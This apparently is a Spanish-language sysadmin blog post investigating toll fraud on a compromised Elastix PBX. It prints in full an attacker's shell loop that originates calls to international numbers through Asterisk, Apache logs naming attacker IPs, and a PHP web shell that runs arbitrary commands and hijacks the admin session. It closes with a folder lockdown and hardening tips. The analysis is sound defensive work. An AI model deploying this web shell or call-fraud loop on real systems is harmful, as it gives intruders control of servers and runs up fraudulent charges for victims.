Se presenta un problema de multiples llamadas desde tu sistema de Elastix.
Buscando mas en detalle a nivel de servidor, estuve revisando todos los procesos que ejecutaba el usuario asterisk, en busca de procesos sospechosos. Es curioso como se ejecutaba cierto proceso constantemente, y analizando la situación un poco mejor, noto que marca a números internacionales. Echemos un vistazo a estos procesos
asterisk 18498 974 0 09:59 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND asterisk 18624 974 0 09:59 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND asterisk 18972 974 0 10:00 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND asterisk 24972 18624 0 10:17 ? 00:00:00 sh -c timebtncalls=2;duration="999";outbound="from-internal";prs="n,011,9011,8011,7011,0,00,000,0000,900,800,0011,811,911";numbers="22371301672,";orig=`/usr/sbin/asterisk -rx "channel originate"`; if echo $orig | grep Usage > /dev/null; then origi="channel originate"; elif echo $orig | grep "Unable to connect" >/dev/null; then echo "error:unable"; else origi="originate"; fi;if echo $origi | grep originate >/dev/null; then for pr in `echo $prs | tr ',' '\n'`; do for number in `echo $numbers | tr ',' '\n'`; do /usr/sbin/asterisk -rx "${origi} Local/${pr/n/}${number}@${outbound} application wait ${duration}" & sleep ${timebtncalls}; echo "${origi} Local/${pr/n/}${number}@${outbound}"; done done fi asterisk 25010 7897 0 10:17 ? 00:00:00 sh -c timebtncalls=2;duration="999";outbound="from-internal";prs="n,011,9011,8011,7011,0,00,000,0000,900,800,0011,811,911";numbers="79407646357,";orig=`/usr/sbin/asterisk -rx "channel originate"`; if echo $orig | grep Usage > /dev/null; then origi="channel originate"; elif echo $orig | grep "Unable to connect" >/dev/null; then echo "error:unable"; else origi="originate"; fi;if echo $origi | grep originate >/dev/null; then for pr in `echo $prs | tr ',' '\n'`; do for number in `echo $numbers | tr ',' '\n'`; do /usr/sbin/asterisk -rx "${origi} Local/${pr/n/}${number}@${outbound} application wait ${duration}" & sleep ${timebtncalls}; echo "${origi} Local/${pr/n/}${number}@${outbound}"; done done fi asterisk 25041 25010 0 10:17 ? 00:00:00 rasterisk asterisk -rx channel originate Local/01179407646357@from-internal application wait 999 asterisk 25048 24972 0 10:17 ? 00:00:00 rasterisk asterisk -rx channel originate Local/901122371301672@from-internal application wait 999 asterisk 25056 25010 0 10:17 ? 00:00:00 rasterisk asterisk -rx channel originate Local/901179407646357@from-internal application wait 999 asterisk 25057 25010 0 10:17 ? 00:00:00 sleep 2 asterisk 25064 24972 0 10:17 ? 00:00:00 rasterisk asterisk -rx channel originate Local/801122371301672@from-internal application wait 999 asterisk 25065 24972 0 10:17 ? 00:00:00 sleep 2
Nótese como se ejecuta un sh en el PID 24972, y cuyo padre es el PID 18624, el padre con PID 18624 ejecuta un httpd, lo cual inconfundiblemente indica que hay un script web que realiza toda esta operación.
Con esto en mente, voy a revisar los logs del apache, y encuentro lo siguiente …
[root@localhost httpd]# cat ssl_access_log 195.154.177.160 - - [13/Mar/2017:04:02:09 -0500] "POST /recordings/old-shell.php HTTP/1.1" 200 162 195.154.177.160 - - [13/Mar/2017:04:02:09 -0500] "POST /recordings/old-shell.php HTTP/1.1" 200 162 195.154.177.160 - - [13/Mar/2017:04:02:04 -0500] "POST /recordings/old-shell.php HTTP/1.1" 200 549 195.154.177.160 - - [13/Mar/2017:04:02:43 -0500] "GET /recordings/old-shell.php HTTP/1.1" 200 162 195.154.177.160 - - [13/Mar/2017:04:02:45 -0500] "POST /recordings/old-shell.php HTTP/1.1" 200 162 195.154.177.160 - - [13/Mar/2017:04:02:45 -0500] "POST /recordings/old-shell.php HTTP/1.1" 200 162 213.202.233.54 - - [13/Mar/2017:04:02:51 -0500] "GET /recordings/old-shell.php HTTP/1.1" 200 162 213.202.233.54 - - [13/Mar/2017:04:02:51 -0500] "POST /recordings/old-shell.php HTTP/1.1" 200 194 213.202.233.54 - - [13/Mar/2017:04:02:52 -0500] "POST /recordings/old-shell.php HTTP/1.1" 200 197 195.154.177.160 - - [13/Mar/2017:04:02:53 -0500] "POST /recordings/old-shell.php HTTP/1.1" 200 162 213.202.233.54 - - [13/Mar/2017:04:02:56 -0500] "GET /recordings/old-shell.php HTTP/1.1" 200 162 213.202.233.54 - - [13/Mar/2017:04:02:57 -0500] "POST /recordings/old-shell.php HTTP/1.1" 200 162 213.202.233.54 - - [13/Mar/2017:04:02:58 -0500] "POST /recordings/old-shell.php HTTP/1.1" 200 162 213.202.233.54 - - [13/Mar/2017:04:02:59 -0500] "POST /recordings/old-shell.php HTTP/1.1" 200 162 213.202.233.54 - - [13/Mar/2017:04:03:02 -0500] "GET /recordings/old-shell.php HTTP/1.1" 200 162
Como pueden apreciar, hay muchos llamados al script old-shell.php, desde ciertas IPs, que entre otras cosas, las publico para que las tengan en cuenta quienes son los desgraciados que abusan de tu PBX.
Voy entonces a revisar dicho archivo y encuentro este contenido ….
[root@localhost httpd]# more /var/www/html/recordings/old-shell.php <form action="" method="post" ><input size=20 type=password name="p" /><input size=60 type=text name="c" /><input type=submit value="Hacked" /></form> Hacked > <?php if(md5($_REQUEST['p'])=='fe732de226af5491a6266f9d5eaa62fc') { @system($_REQUEST['c']); include_once "/var/www/html/libs/paloSantoDB.class.php"; include_once "/var/www/html/libs/paloSantoACL.class.php"; $pDB = new paloDB("sqlite3:////var/www/db/acl.db"); $db = $pDB->fetchTable("SELECT name, md5_password,extension from acl_user WHERE id ='1'"); session_name("elastixSession"); session_start(); $_SESSION['elastix_user'] = $db[0][0]; $_SESSION['elastix_pass'] = $db[0][1]; echo '<a href="/" >Emad__Was__Here</a>'; } ?> [root@localhost httpd]#
Como necesitaba parar este tipo de ataques, lo que hice fue quitar todos los modos sobre esa carpeta
[root@localhost html]# chmod 000 recordings/ [root@localhost html]#
Y listo, el ataque ha cesado.
Obviamente esto no termina ahí, con mas calma es necesario revisar todos los archivos en busca de codigo malicioso.
No está de mas pensar en montar otra maquina nueva y definir como políticas, las siguientes
- Restringir acceso al web de elastix solamente a las maquinas tuyas. NAdie en Internet tiene por que acceder a tu panel de administración web.
- Denegar el acceso por SSH al root.
- Pensar en implementar el famoso sistema de Port Knocking.
- Restringir los accesos de las extensiones a las direcciones IPs establecidas.
Saludos…..
Sin respuestas